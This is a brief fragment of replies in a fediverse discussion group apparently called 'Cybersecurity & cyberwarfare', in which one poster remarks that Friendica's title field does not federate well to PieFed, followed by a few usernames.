in reply to Cybersecurity & cyberwarfare • • •It seems you're right - the title field from Friendica doesn't federate well to PieFed. So I probably misinterpreted the confusion about the title. 😀
@rimu@piefed.social
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ericjmorey
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aldalire
in reply to Cybersecurity & cyberwarfare • • •XNX
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